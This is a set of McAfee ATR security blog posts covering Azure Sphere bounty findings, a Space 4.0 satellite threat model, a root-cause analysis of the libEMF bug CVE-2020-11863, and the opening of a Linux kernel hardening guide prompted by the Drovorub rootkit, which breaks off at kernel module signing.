From June to August, part of the McAfee Advanced Threat Research (ATR) team participated in Microsoft’s Azure Sphere Research Challenge.  Our research resulted in reporting multiple vulnerabilities classified by Microsoft as “important” or “critical” in the platform that, to date, have qualified for over $160,000 USD in bounty awards scheduled to be contributed to the ACLU ($100,000), St. Jude’s Children’s Research Hospital ($50,000) and PDX Hackerspace (approximately $20,000). With these contributions, we hope to support and give back both to our local hacker community that has really stepped up to help during the COVID crisis, and also recognize, at a larger scale, the importance to protect and further civil liberties and the wellbeing of those most in need.  

This blog post is a highlevel overview of the program, why we choose to take part in it, and a brief description of our findings. A detailed technical walkthrough of our findings can be found here 

Additionally, Microsoft has released two summary blogs detailing the Azure Sphere Bounty Program as a whole, including McAfee’s efforts and findings. They can be found here:

MSRC Blog

Azure Sphere Core Team Blog

What is Azure Sphere and the Azure Sphere Research Challenge? 

In late May Microsoft started a new bug bounty program for its Azure Sphere platform. Azure Sphere is a hardened IoT device with a secure communication link to the cloud that has been in development for the last few years and reached general availability in early 2020. Microsoft designed and built it from scratch to ensure every aspect of it is as secure as possibleper their security model. To put the theory to test, Microsoft invited a few select partners and hackers to try their best to defeat its security measures.  

The Azure sphere team came up with multiple scenarios that would test the security model of the device and qualify for an increased payout from the regular Azure Bug Bounty program. These scenarios range from the ability to bypascertain security measures, to executing code in the hardware enabled secure core of the device.  

Research scenarios specific to the Azure Sphere Research Challenge 

Why did ATR get involved with the program? 

There are multiple reasons why we were keen to participate in this program. First, as security researchers, the Azure Sphere platform is an exciting new research target that has been built from the ground up with security in mind. It showcases what might become of the IoT space in the next few years as legacy platforms are slowly phased out. Being at the forefront of what is being done in the IoT space ensures our research remains current and we are ready to tackle future new challenges. Second, by finding critical bugs in this new platform we help make it more secure and offer our support to make the IoT space increasingly resistant to cyber threats. Finally, as this is a bug bounty program, we decided from the start that we would donate any award we received to charity, thus using our skills to contribute to the social good of our local communities and support causes that transcend the technology sector.   

Findings 

We’ve reported multiple bugs to Microsoft as a result of our research that were rated Important or Critical: 

  • Important – Security Feature bypass ($3,300): The inclusion of symlink in application package allows for referencing files outside of the application package mount point. 
  • Critical – RCE ($48,000): The inclusion of character device in an application package allows for direct interaction with a part of the flash memory, eventually leading to the modification of critical system files and further exploitation. 
  • Important – EoP ($11,000): Multiple bugs in how uid_map files are processed, allowing for elevation of privilege to the sys user.  
  • Important – Eop ($11,000): A user with sys privileges can trick Application Manager into unmounting “azcore” and mount a rogue binary in its stead. Triggering a core dump of a running process will then execute the rogue binary with full capabilities & root privileges due to improper handling of permissions in the LSM. 
  • Critical – EoP ($48,000): Further problems in the privilege dropping of azcore leads to the complete bypass of Azure Sphere capability restrictions 
  • Critical – EoP ($48,000): Due to improper certificate management, it is possible to re-claim a device on the Azure Sphere pre-prod server and obtain a valid capability file that works in the prod environment. This capability file can be used to re-enable application development mode on a finalized device (claimed by a third party). The deployment of the capability file requires physical access to a device.  

Conclusion 

This research was an exciting opportunity to look at new platform with very little prior research, while still being in the familiar territory of an ARM device running a hardened Linux operating-system 

Through the bugs we found we were able to get a full chain exploit from a locked device to having root access. However, the Azure Sphere platform has many more security features such as remote attestation, and a hardware enabled secure core that is still holding strong.  

Finally, we want to thank Microsoft for the opportunity of participating in this exciting program, and the bounty awards 

The post Our Experiences Participating in Microsoft’s Azure Sphere Bounty Program appeared first on McAfee Blogs.

Securing Space 4.0 – One Small Step or a Giant Leap? Part 1

McAfee Advanced Threat Research (ATR) is collaborating with Cork Institute of Technology (CIT) and its Blackrock Castle Observatory (BCO) and the National Space Center (NSC) in Cork, Ireland

The essence of Space 4.0 is the introduction of smaller, cheaper, faster-to-the-market satellites in low-earth-orbit into the value chain and the exploitation of the data they provide. Space research and communication prior to Space 4.0 was primarily focused on astronomy and limited to that of governments and large space agencies. As technology and society evolves to consume the “New Big Data” from space, Space 4.0 looks set to become the next battleground in the defense against cybercriminals. Space 4.0 data can range from earth observation sensing to location tracking information and applied across many vertical uses cases discussed later in this blog. In the era of Space 4.0 the evolution of the space sector is rapidly changing with a lower cost of launching, combined with public and private partnerships that open a whole new dimension of connectivity. We are already struggling to secure our data on earth, we must now understand and secure how our data will travel through space constellations and be stored in cloud data centers on earth and in space.

Low Earth Orbit (LEO) satellites are popular for scientific usage but how secure are they? The Internet of Things (IoT) introduced a myriad of insecure devices onto the Internet due to the low cost of processors and high-speed connectivity, but the speed in its adoption resulted in a large fragmentation of insecure hardware and software across business verticals.

Space 4.0 is now on course for a similar rapid adoption with nanosats as we prepare to see a mass deployment of cheap satellites into LEO. These small satellites are being used across government, academic and commercial sectors for different use cases that require complex payloads and processing. Many nanosats can coexist on a single satellite. This means that the same satellite backbone circuit infrastructure can be shared, reducing build and launch costs and making space data more accessible.

To date, satellites have typically been relay type devices repeating signals to and from different locations on earth in regions with poor internet connectivity, but that is all set to change with a mass deployment of smarter satellite devices using inter-satellite links (ISL) in  constellations like Starlink which aim to provide full high speed broadband global coverage. As the Space 4.0 sector is moving from private and government sectors to general availability, this makes satellites more accessible from a cost perspective, which will attract threat actors other than nation states, such as cyber criminals. Space 4.0 also brings with it new service delivery models such as Ground Station as a Service (GSaaS) with AWS and Azure Orbital and Satellite as a Service (SataaS). With the introduction of these, the satellite will become another device connecting to the cloud.

In our research we analyze the ecosystem to understand the latest developments and threats in relation to cybersecurity in space and whether we are ready to embrace Space 4.0 securely.

Space 4.0 Evolution

What is the Industrial 4th Revolution? The original industrial revolution started with the invention of steam engines then electricity, computers and communication technology. Industry 4.0 is about creating a diverse, safe, healthy, just world with clean air, water, soil and energy, as well as finding a way to pave the path for the innovations of tomorrow.

The first space era, or Space 1.0, was the study of astronomy, followed by the Apollo moon landings and then the inception of the International Space Station (ISS). Space 4.0  is analogous to Industry 4.0, which is considered as the unfolding fourth industrial revolution of manufacturing and services. Traditionally, access to space has been the domain of governments and large space agencies (such as NASA or the European Space Agency) due to the large costs involved in the development, deployment and operation of satellites. In recent years, a new approach to using space for commercial, economic and societal good has been driven by private enterprises in what is termed New Space. When combined with the more traditional approach to space activity, the term “Space 4.0” is used. Space 4.0 is applicable across a wide range of vertical domains, including but not limited to:

  • Ubiquitous broadband
  • Autonomous vehicles
  • Earth observation
  • Disaster mitigation/relief
  • Human spaceflight
  • Exploration

Cyber Threat Landscape Review

The Cyber Threat Landscape has evolved greatly over the past 20 years with the convergence of Information Technology (IT), Operational Technology (OT) and IoT. Protecting consumers, enterprises and critical infrastructure with the rapid parallel innovation of technology and cybercriminals is a constant challenge. While technology and attacks evolve rapidly the cybercriminal motive remains a constant; make money and maximize profit by exploiting a combination of users and technology.

Cybercriminals have much more capabilities now than they did 10 years ago due to the rise of Cybercrime as a Service (CaaS). Once an exploit for a vulnerability has been developed, it can then be weaponized into an exploit kit or ransomware worm, such as WannaCry. Cybercriminals will follow the path of least resistance to achieve their goal of making money.

Nearly every device class across the business verticals, ranging from medical devices to space Very-small-aperture terminals (VSAT), have been hacked by security researchers, as evident from Blackhat and Defcon trends.

From a technology stack perspective (hardware and software) there have been vulnerabilities discovered and exploits developed across all layers where we seek to establish some form of trustworthiness when connected to the internet; browsers, operating systems, protocols, hypervisors, enclaves, cryptographic implementations, system on chips (SoC) and processors.

Not all these vulnerabilities and exploits become weaponized by cybercriminals, but it does highlight the fact that the potential exists. Some notable weaponized exploits are:

  1. Stuxnet worm
  2. WannaCry ransomware worm
  3. Triton malware
  4. Mirai Botnet

Some recent major industry vulnerabilities were: BlueKeep (Windows RDP Protocol), SMBGhost (Windows SMB Protocol), Ripple20 (Treck embedded TCP/IP library), Urgent 11 (VxWorks TCP/IP library), Heartbleed (OpenSSL library), Cloudbleed (Cloudflare), Curveball (Microsoft Crypto API), Meltdown and Spectre (Processor side channels).

Cybercriminals will adapt quickly to maximize their profit as we saw with the COVID-19 pandemic and the mass remote workforce. They will quickly understand the operating environment changes and how they can reach their goals by exploiting users and technology, whichever is the weakest link. The easiest entry point into an organization will be through identity theft or weak passwords being used in remote access protocols such as RDP.

Cybercriminals moved to the Dark Web to hide identity and physical location of servers or using bullet-proof providers to host their infrastructure. What if these services are hosted in space? Who is the legal entity and who is responsible?

McAfee Enterprise Supernova Cloud analysis reports that:

  • Nearly one in 10 files shared in the cloud with sensitive data have public access, an increase of 111% year over year
  • One in four companies have had their sensitive data downloaded from the cloud to an unmanaged personal device, where they cannot see or control what happens to the data
  • 91% of cloud services do not encrypt data at rest
  • Less than 1% of cloud services allow encryption with customer-managed keys

The transition to the cloud, when done securely, is the right business decision. However, when not done securely it can leave your services and data/data lakes accessible to the public through misconfigurations (shared responsibility model), insecure APIs, and identity and access management issues. Attackers will always go for the low hanging fruit such as open AWS buckets and credentials through vendors in the supply chain.

One of the key initiatives, and now industry benchmark, is the MITRE ATT&CK framework which enumerates the TTPs from real word incidents across Enterprise (Endpoint and Cloud), Mobile and ICS. This framework has proved to be very valuable in enabling organizations to understand adversary TTPs and the corresponding protect, detect and response controls required in their overall defense security architecture. We may well see a version of MITRE ATT&CK evolve for Space 4.0.

Space Cyber Threat Landscape Review

Threat actors know no boundaries as we have seen criminals move from traditional crime to cybercrime using whatever means necessary to make money. Likewise, technology communication traverses many boundaries across land, air, sea and space. With the reduced costs to entry and the commercial opportunities with Space 4.0 big data, we expect to see cybercriminals innovating within this huge growth area. The Cyber Threat Landscape can be divided into vulnerabilities discovered by security researchers and actual attacks reported in the wild. This allows us to understand the technologies within the space ecosystem that are known to contain vulnerabilities and what capabilities threat actors have and are using in the wild.

Vulnerabilities discovered to date have been within VSAT terminal systems and intercepting communications. There have been no vulnerabilities disclosed on actual satellites from figure 1 below.

Figure 1 – Security Researcher space vulnerability disclosures

To date, satellites have mostly been controlled by governments and the military so little information is available as to whether an actual satellite has been hacked. We do expect to see that change with Space 4.0 as these satellites will be more accessible from a hardware and software perspective to do security analysis. Figure 2 below highlights reported attacks in the wild

Figure 2 – Reported Attacks in the Wild

In McAfee’s recent threat research, “Operation North Star”, we observed an increase in malicious cyber activity targeting the Aerospace and Defense industry. The objective of these campaigns was to gather information on specific programs and technologies.

Since the introduction of the cloud, it appears everything has become a device that interacts with a service. Even cybercriminals have been adapting to the service model. Space 4.0 is no different as we start to see the adoption of the Ground Station as a Service (GSaaS) and Satellite as a Service (SataaS) models per figure 3 below. These services are opening in the space sector due to the acceleration of vendors into Space 4.0 to help keep their costs down. Like any new ecosystem this will bring new attack surfaces and challenges which we will discuss in the Threat Modelling section.

Figure 3 – New Devices and Services for Space 4.0


So, with the introduction of cheap satellites using commercial off-the-shelf (COTS) components and new cloud services is it just a matter of time before we see mass satellite attacks and compromise?

Space 4.0 Data Value

The global space industry grew at an average rate of 6.7% per year between 2005 and 2017 and is projected to rise from its current value of $350 billion to $1.3 trillion per annum by 2030. This rise is driven by new technologies and business models which have increased the number of stakeholders and the application domains which they service in a cost-effective way. The associated increase in data volume and complexity has, among other developments, resulted in increasing concerns over the security and integrity of data transfer and storage between satellites, and between ground stations and satellites.

The McAfee Supernova report shows that data is exploding out of enterprises and into the cloud. We are now going to see the same explosion from Space 4.0 to the cloud as vendors race to innovate and monetize data from low cost satellites in LEO.

According to Microsoft the processing of data collected from space at cloud-scale to observe the Earth will be “instrumental in helping address global challenges such as climate change and furthering of scientific discovery and innovation”. The value of data from space must be viewed from the perspective of the public and private vendors who produce and consume such data. Now that satellite launch costs have reduced, producing this data becomes more accessible to commercial markets, so we are going to see much innovation in data analytics to improve our lives, safety and preservation of the earth. This data can be used to improve emergency response times to save lives, monitoring illegal trafficking, aviation tracking blind spots, government scientific research, academic research, improving supply chains and monitoring the earth’s evolution, such as climate change effects. Depending on the use case, this data may need to be confidential, may have privacy implications when tracking and may have substantial value in the context of new markets, innovation and state level research. It is very clear that data from space will have much value as new markets evolve, and cybercriminals will most certainly target that data with the intent to hold organizations to ransom or sell data/analytics innovation to competitors to avoid launch costs. Whatever the use case and value of the data traveling through space may be, we need to ensure that it moves securely by providing a trustworthy end to end ecosystem.

As we progress towards the sixth digital era, our society, lives and connectivity will become very dependent on off-planet data and technology in space, starting with SataaS.

In Part 2 we will discuss remote computers in Space, the Space 4.0 threat model and what we must do to secure Space 4.0 moving forward.

McAfee would like to thank Cork Institute of Technology (CIT) and their Blackrock Castle Observatory (BCO) and the National Space Center (NSC) in Cork, Ireland for their collaboration in our mission to securing Space 4.0.

The post Securing Space 4.0 – One Small Step or a Giant Leap? Part 1 appeared first on McAfee Blogs.

Securing Space 4.0 – One Small Step or a Giant Leap? Part 2

McAfee Advanced Threat Research (ATR) is collaborating with Cork Institute of Technology (CIT) and its Blackrock Castle Observatory (BCO) and the National Space Center in Cork, Ireland

In the first of this two-part blog series we introduced Space 4.0, its data value and how it looks set to become the next battleground in the defense against cybercriminals. In part two we discuss the architectural components of Space 4.0 to threat model the ecosystem from a cybersecurity perspective and understand what we must do to secure Space 4.0 moving forward.

Nanosats: Remote Computers in Space

A satellite is composed of a payload and a bus. The payload is the hardware and software required for the mission or satellite’s specific function, such as imaging equipment for surveillance. The bus consists of the infrastructure or platform that houses the payload, such as thermal regulation and command and control. Small satellites are space craft typically weighing less than 180 kilograms and, within that class of satellites, is what we call nanosatellites or nanosats which typically weigh between 1-10 kilograms. Cubesats are a class of nanosat so you will often hear the term used interchangeably, and for the context of Space 4.0 security, we can assume they are the same device. Nanosats significantly reduce launch costs due to their small size and the fact that many of these devices can be mounted on board a larger single satellite for launch.

Commercial off-the-shelf (COTS) Cubesats typically use free open source software such as FreeRTOS or KubOS for the on-board operating system. However, other systems are possible, with drivers available for most of the hardware on Linux and Windows OS. KubOS is an open source flight software framework for satellites and has cloud-based mission control software, Major Tom, to operate nanosats or a constellation. We mention KubOS here as it is a good example of what the current Space 4.0 operating model looks like today. While we have not reviewed KubOS from a security perspective, developing a secure framework for satellites is the right path forward, allowing mission developers to focus on the payload.

Some of the use cases available with Cubesats are:

  1. File transfers
  2. Remote communication via uplink/downlink
  3. Intra-satellite and inter-satellite communications
  4. Payload services such as camera and sensors telemetry
  5. Software Updates

KubOS is “creating a world where you can operate your small satellite from your web browser or iPhone”. KubOSobjective is to allow customers to send bits and not rockets to space and it is defining a new era of software-designed satellites. The satellite model is changing from relay type devices to remote computers in space using COTS components and leveraging TCP/IP routing capabilities. This model shift also means that there is more software executing on these satellites and more complex payload processing or interaction with the software stack and hence more attack surface.

To date, attacks on satellite systems from a cybersecurity perspective have typically been in the context of VSAT terminals, eavesdropping and hijacking. While there have been vulnerabilities found in the VSAT terminal software and its higher-level custom protocols, there seems to have been no focus and vulnerabilities discovered within the network software stack of the satellite itself. This may be since satellites are very expensive, as well as closed source, so not accessible to security researchers or cybercriminals, but this security by obscurity will not provide protection with the new era of nanosats. Nanosats use COTS components which will be accessible to cybercriminals.

Due to the closed nature of satellites there has not been much published on their system hardware and software stack. However, the Consultative Committee for Space Data Systems (CCSDS), which develops standards and specifications including protocols for satellite communications, does give some insight. The CCSDS technical domains are:

  1. Space Internetworking Services
  2. Mission Ops. And Information Management Services
  3. Spacecraft Onboard Interface Services
  4. System Engineering
  5. Cross Support Services
  6. Space Link Services

The CCSDS standards are divided into color codes to represent recommended standards and practices versus informational and experimental. This is a very large source of data communications for satellite designers to aid them in a reference for implementation. However, as we have observed over the cyber threat landscape of the past few decades, secure standards and specifications for hardware, software and protocols do not always translate to secure implementation. The CCSDS defines a TCP/IP stack suitable for transmission over space datalinks as per figure 1 below. Satellites that become more connected, just like any other device on the internet, their network and protocol software stack will become more accessible and targeted. As we discussed in part 1 <insert link> of our Space 4.0 blog series, there have been many TCP/IP and remote protocol related vulnerabilities in both embedded devices and even state of the art operating systems such as Windows 10. The TCP/IP stack and remote protocol implementations are a common source of vulnerabilities due to the complexities of parsing in unsafe memory languages such as C and C++. There does not appear to be any open source implementations of the CCSDS TCP/IP protocol stack.

Figure 1 – CCSDS Space communications protocols reference model

The CubeSat Protocol (CSP) is a free open source TCP/IP stack implementation for communication over space datalinks, similar to the CCSDS TCP/IP stack. The CSP protocol library is implemented in C, open source and implemented in many Cubesats that have been deployed to space. The protocol can be used for communication from ground station to satellite, inter-satellite and the intra-satellite communication bus. There have been 3 vulnerabilities to date reported in this protocol.

Figure 2 below shows what a Cubesat architecture looks like from a trust boundary perspective relative to the satellite and other satellites within the constellation and the earth.

Figure 2 – Space LEO Cubesat architecture trust boundaries

No hardware, software, operating system or protocol is completely free of vulnerabilities. What is important from a security perspective is:

  1. The accessibility of the attack surface
  2. The motives and capabilities of the adversary to exploit an exposed vulnerability if present in the attack surface

As these low-cost satellites get launched in our LEO and become more connected, any exposed technology stack will become increasingly targeted by cybercriminals.

Space 4.0 Threat Modeling

This Space 4.0 threat model focuses on the cybercriminal and how they can exploit Space 4.0 data for monetization. The following Space 4.0 factors will make it more accessible to cybercriminals:

  1. Mass deployment of small satellites to LEO
  2. Cheaper satellites with COTS components and increased satellite on board software processing (no longer relay devices)
  3. Satellite service models, Ground Station-as-a-Service (GSaaS) and Satellite-as-a-Service (SataaS) and shared infrastructure across government, commercial and academic
  4. Satellite connectivity and networks in space (ISL – inter-satellite links)
  5. Space 4.0 data value

Space security has typically been analyzed from the perspective of ground segment, communications or datalink and space segment. Additionally, the attack classes have been categorized as electronic (jamming), eavesdropping, hijacking and control. Per figure 3 below, we need to think about Space 4.0 with a cybersecurity approach due to the increased connectivity and data, as opposed to the traditional approach of ground, communication and space segments. Cybercriminals will target the data and systems as opposed to the RF transmission layer.

Figure 3 – Space 4.0 threat modeling architecture

It is important to consider the whole interconnectivity of the Space 4.0 ecosystem as cybercriminals will exploit any means possible, whether that be direct or indirect access (another trusted component). Open source networked ground stations such as SatNOGs and the emerging NyanSat are great initiatives for space research but we should consider these in our overall threat model as they provide mass connectivity to the internet and space.

The traditional space security model has been built on a foundation of cost as a barrier to entry and perimeter-based security due to lack of physical access and limited remote access to satellites. However, once a device is connected to the internet the threat model changes and we need to think about a satellite as any other device which can be accessed either directly or indirectly over the internet.

In addition, if a device can be compromised in space remotely or through the supply chain, then that opens a new attack class of space to cloud/ground attacks.

Users and trusted insiders will always remain a big threat from a ground station perspective, just like enterprise security today, as they can potentially get direct access to the satellite control.

The movement of ground services to the cloud is a good business model if designed and implemented securely, however a compromise would impact many devices in space being controlled from the GSaaS. It is not quite clear where the shared responsibility starts and ends for the new SataaS and GSaaS Space 4.0 service models but the satellite key management system (KMS), data, GSaaS credentials and analytics intellectual property (this may reside in the user’s environment, the cloud or potentially the satellite but for the purposes of this threat model we assume the cloud) will be much valued assets and targeted.

From the Cyber and Space Threat Landscape review in part 1 <insert link>, combined with our understanding of the Space 4.0 architecture and attack surfaces, we can start to model the threats in Table 1 below.

Table 1 – Space 4.0 threats, attack classes and layers, and attack vectors

Based on the above threat model, let’s discuss a real credible threat and attack scenario. From our Space cyber threat landscape review in part 1 of this blog series, there were attacks on ground stations in 2008 at the Johnson Space Center and for a Nasa research satellite. In a Space 4.0 scenario, the cybercriminal attacks the ground station through phishing to get access to satellite communications (could also be a supply chain attack to get a known vulnerable satellite system into space). The cybercriminal uses an exploit being sold on the underground to exploit a remote wormable vulnerability within the space TCP/IP stack or operating system of the satellite in space, just like we saw EternalBlue being weaponized by WannaCry. Once the satellite has been compromised the malware can spread between satellite vendors using their ISL communication protocol to propagate throughout the constellation. Once the constellation has been compromised the satellite vendor can be held to ransom, causing major disruption to Space 4.0 data and/or critical infrastructure.

Moving Forward Securely for a Trustworthy Space 4.0 Ecosystem

Establishing a trustworthy Space 4.0 ecosystem is going to require strong collaboration between cyber threat research teams, government, commercial and academia in the following areas:

  1. Governance and regulation of security standards implementation and certification/validation of satellite device security capabilities prior to launch
  2. Modeling the evolving threat landscape against the Space 4.0 technology advancements
  3. Secure reference architectures for end to end Space 4.0 ecosystem and data protection
  4. Security analysis of the CCSDS protocols
  5. Design of trustworthy platform primitives to thwart current and future threats must start with a security capable bill of materials (BOM) for both hardware and software starting with the processor then the operating system, frameworks, libraries and languages. Hardware enabled security to achieve confidentiality, integrity, availability and identity so that satellite devices may be resilient when under attack
  6. Visibility, detection and response capabilities within each layer defined in our Space 4.0 architecture threat model above
  7. Development of a MITRE ATT&CK specifically for Space 4.0 as we observe real world incidents so that it can be used to strengthen the overall defensive security architecture using TTPs and threat emulation

Space 4.0 is moving very fast with GSaaS, SataaS and talk of space data centers and high-speed laser ISL; security should not be an inhibitor for time to market but a contributor to ensure that we have a strong security foundation to innovate and build future technology on with respect to the evolving threat landscape. Space communication predates the Internet so we must make sure any legacy limitations which would restrict this secure foundation are addressed. As software complexity for on board processing and connectivity/routing capability increases by moving to the edge (space device) we will see vulnerabilities within the Space 4.0 TCP/IP stack implementation.

This is a pivotal time for the secure advancement of Space 4.0 and we must learn from the mistakes of the past with IoT where the rush to adopt new and faster technology resulted in large scale deployment of insecure hardware and software. It has taken much effort and collaboration between Microsoft and the security research community since Bill Gates announced the Trustworthy Computing initiative in 2002 to arrive at the state-of-the-art Windows 10 OS with hardware enabled security. Likewise, we have seen great advancements on the IoT side with ARM Platform Security Architecture and Azure Sphere. Many security working groups and bodies have evolved since 2002, such as the Trust Computing Group, Confidential Computing Consortium, Trusted Connectivity Alliance and Zero Trust concept to name a few. There are many trustworthy building block primitives today to help secure Space 4.0, but we must leverage at the concept phase of innovation and not once a device has been launched into space; the time is now to secure our next generation infrastructure and data source. Space security has not been a priority for governments to date but that seems all set to change with the “Memorandum on Space Policy Directive-5—Cybersecurity Principles for Space Systems”.

We should pause here for a moment and recognize the recent efforts from the cybersecurity community to secure space, such as the Orbital Security Alliance, S-ISAC, Mantech and Defcon Hack-a-Sat.

KubOS is being branded as the Android of space systems and we are likely to see a myriad of new software and hardware emerge for Space 4.0. We must work together to ensure Space 4.0 connectivity does not open our global connectivity and infrastructure dependency to the next Mirai botnet or WannaCry worm on LEO.

McAfee would like to thank Cork Institute of Technology (CIT) and its Blackrock Castle Observatory (BCO) and the National Space Center (NSC) in Cork, Ireland for their collaboration in our mission to secure Space 4.0.

The post Securing Space 4.0 – One Small Step or a Giant Leap? Part 2 appeared first on McAfee Blogs.

Vulnerability Discovery in Open Source Libraries: Analyzing CVE-2020-11863

Open Source projects are the building blocks of any software development process. As we indicated in our previous blog, as more and more products use open source code, the increase in the overall attack surface is inevitable, especially when open source code is not audited before use. Hence it is recommended to thoroughly test it for potential vulnerabilities and collaborate with developers to fix them, eventually mitigating the attacks. We also indicated that we were researching graphics libraries in Windows and Linux, reporting multiple vulnerabilities in Windows GDI as well as Linux vector graphics library libEMF. We are still auditing many other Linux graphics libraries since these are legacy code and have not been strictly tested before.

In part 1 of this blog series, we described in detail the significance of open source research, by outlining the vulnerabilities we reported in the libEMF library. We also highlighted the importance of compiling the code with memory sanitizers and how it can help detect a variety of memory corruption bugs. In summary, the Address Sanitizer (ASAN) intercepts the memory allocation / deallocation functions like malloc () / free() and fills out the memory with the respective fill bytes (malloc_fill_byte / free_fill_byte). It also monitors the read and write to these memory locations, helping detect erroneous access during run time.

In this blog, we provide a more detailed analysis for one of the reported vulnerabilities, CVE-2020-11863, which was due to the use of uninitialized memory. This vulnerability is related to CVE-2020-11865, a global object vector out of bounds memory access in the GlobalObject::Find() function in libEMF. However, the crash call stack turned out to be different, which is why we decided to examine this further and produce this deep dive blog.

The information provided by the ASAN was sufficient to reproduce the vulnerability crash outside of the fuzzer. From the ASAN information, the vulnerability appeared to be a null pointer dereference, but this was not the actual root cause, as we will discuss below.

Looking at the call stack, it appears that the application crashed while dynamically casting the object, for which there could be multiple reasons. Out of those possible reasons that seem likely, either the application attempted to access the non-existent virtual table pointer, or the object address returned from the function was a wild address accessed when the application crashed. Getting more context about this crash, we came across an interesting register value while debugging. Below shows the crash point in the disassembly indicating the non-existent memory access.

If we look at the state of the registers at the crash point, it is particularly interesting to note that the register rdi has an unusual value of 0xbebebebebebebebe. We wanted to dig a little deeper to check out how this value got into the register, resulting in the wild memory access. Since we had the source of the library, we could check right away what this register meant in terms of accessing the objects in memory.

Referring to the Address Sanitizer documentation, it turns out that the ASAN writes 0xbe to the newly allocated memory by default, essentially meaning this 64-bit value was written but the memory was not initialized. The ASAN calls this as the malloc_fill_byte. It also does the same by filling the memory with the free_fill_byte when it is freed. This eventually helps identify memory access errors.

This nature of the ASAN can also be verified in the libsanitizer source here. Below is an excerpt from the source file.

Looking at the stack trace at the crash point as shown below, the crash occurred in the SelectObject() function. This part of the code is responsible for processing the EMR_SELECTOBJECT record structure of the Enhanced Meta File (EMF) file and the graphics object handle passed to the function is 0x80000018. We want to investigate the flow of the code to check if this is something which comes directly from the input EMF file and can be controlled by an attacker.

In the SelectObject() function, while processing the EMR_SELECTOBJECT record structure, the handle to the GDI object is passed to GlobalObjects.find() as shown in the above code snippet, which in turn accesses the global stock object vector by masking the higher order bit from the GDI object handle and converting it into the index, eventually returning the stock object reference from the object vector using the converted index number. Stock object enumeration specifies the indexes of predefined logical graphics objects that can be used in graphics operations documented in the MS documentation. For instance, if the object handle is 0x8000018, this will be ANDed with 0x7FFFFFFF, resulting in 0x18, which will be used as the index to the global stock object vector. This stock object reference is then dynamically cast into the graphics object, following which EMF::GRAPHICSOBJECT member function getType ( ) is called to determine the type of the graphics object and then, later in this function, it is again cast into an appropriate graphics object (BRUSH, PEN, FONT, PALETTE, EXTPEN), as shown in the below code snippet.

EMF::GRAPHICSOBJECT is the class derived from EMF::OBJECT and the inheritance diagram of the EMF::OBJECT class is as shown below.

However, as mentioned earlier, we were interested in knowing if the object handle, passed as an argument to the SelectObject function, can controlled by an attacker. To be able to get context on this, let us look at the format of the EMR_SELECTOBJECT record as shown below.

As we notice here, ihObject is the 4-byte unsigned integer specifying the index to the stock object enumeration. In this case the stock object references are maintained in the global objects vector. Here, the object handle of 0x80000018 implies that index 0x18 will be used to access the global stock object vector. If, during this time, the length of the object vector is less then 0x18 and the length check is not done prior to accessing the object vector, it will result in out of bounds memory access.

Below is the visual representation of processing the EMR_SELECTOBJECT metafile record.

While debugging this issue, we enable a break point at GlobalObjects.find () and continue until we have object handle 0x80000018; essentially, we reach the point where the above highlighted EMR_SELECTOBJECT record is being processed. As shown below, the object handle is converted into the index (0x18 = 24) to access the object vector of size (0x16 = 22), resulting into out of bounds access, which we reported as CVE-2020-11865.

Further stepping into the code, it enters the STL vector library stl_vector.h which implements the dynamic expansion of the std::vectors. Since the objects vector at this point of time has only 22 elements, the STL vector will expand the vector to the size indicated by the parameter highlighted, accessing the vector by passed index, and will return the value at that object reference, as shown in the below code snippet, which comes out to be 0xbebebebebebebebe as filled by the ASAN.

 

The code uses the std:allocator to manage the vector memory primarily used for memory allocation and deallocation. On further analysis, it turns out that the value returned, 0xbebebebebebebebe in this case, is the virtual pointer of the non-existent stock object, which is dereferenced during dynamic casting, resulting in a crash.

As mentioned in our earlier blog, the fixes to the library have been released in a subsequent version, available here.

Conclusion

While using third party code in products certainly saves time and increases development speed, it potentially comes with an increase in the volume of vulnerabilities, especially when the code remains unaudited and integrated into products without any testing. It is extremely critical to perform fuzz testing of the open source libraries used, which can help in discovering vulnerabilities earlier in the development cycle and provides an opportunity to fix them before the product is shipped, consequently mitigating attacks. However, as we emphasized in our previous blog, it is critical to strengthen the collaboration between vulnerability researchers and the open source community to continue responsible disclosures, allowing the maintainers of the code to address them in a timely fashion.

The post Vulnerability Discovery in Open Source Libraries: Analyzing CVE-2020-11863 appeared first on McAfee Blogs.

On Drovorub: Linux Kernel Security Best Practices

Intro

In a U.S. government cyber security advisory released today, the National Security Agency and Federal Bureau of Investigation warn of a previously undisclosed piece of Linux rootkit malware called Drovorub and attribute the threat to malicious actor APT28. The report is incredibly detailed and proposes several complementary detection techniques to effectively identify Drovorub malware activity. A multitude of investigative methods are suggested given that the common issue with rootkits is that large scale detection on a host can be a real challenge. The NSA and FBI have been explicit in their report that systems with a kernel version of 3.7 or lower are most susceptible to Drovorub malware due to the absence of adequate kernel signing enforcement.

Keeping a system updated and fully protected isn’t specific to Windows-based environments. Linux based systems are widespread within many enterprise organizations, requiring the same maintenance as any modern operating system. Linux offers a robust, secure computing platform which can meet many needs. As in most cases, proper configuration is key to the security of the platform.

For specific McAfee technology protections against Drovorub please visit the dedicated Drovorub KB article here.

In addition to the guidance provided in the  U.S. government report and our product specific knowledge base article, McAfee encourages organizations to take note of and apply the following best practices (where possible) for rootkit detection and kernel security.

Scanning for Rootkits

Just like a malware scanner, a rootkit scanner can scan low level processes to determine if any malicious code is loaded at bootup. For example, below are examples of software that can be used for general rootkit detection:

  • Chrootkit – A rootkit scanner for Linux to discover hard to find rootkits
  • Rkhunter – A rootkit scanner for Linux to discover backdoors and possible local exploits.

In this specific Drovorub case the advice is given to forensically analyze a machine’s memory with tools like Volatility. Using the Volatility plugin “Linux_Psxview” presence of the Drovorub client can be detected even though it doesn’t show up in the normal PSlist.

Linux Kernel hardening

Today’s advisory suggests that organizations enable UEFI Secure Boot in “full” or “thorough” mode on x86-64 systems. UEFI Secure Boot requires cryptographically signed firmware and kernels. Because no unsigned drivers can be loaded for hardware, this action will decrease the attack surface by making it more difficult for an attacker to insert a malicious kernel module into the system and for unsigned rootkits to remain persistent after reboot.

Organizations should take note, however, that Secure Boot is not integrated in all Linux distros. There are also some challenges with enabling Secure Boot. Often it requires manual intervention any time a kernel or module is upgraded or may prevent some products from loading. This knowledge base article from VMWare discusses ways to address these Secure Boot issues

Securing the kernel

There are several steps organizations can take to secure the Linux kernel and take advantage of the features that are provided. We will highlight some of the best-practices that can be used and applied. Please apply these within a test-environment before applying them in production.

Kernel module signing

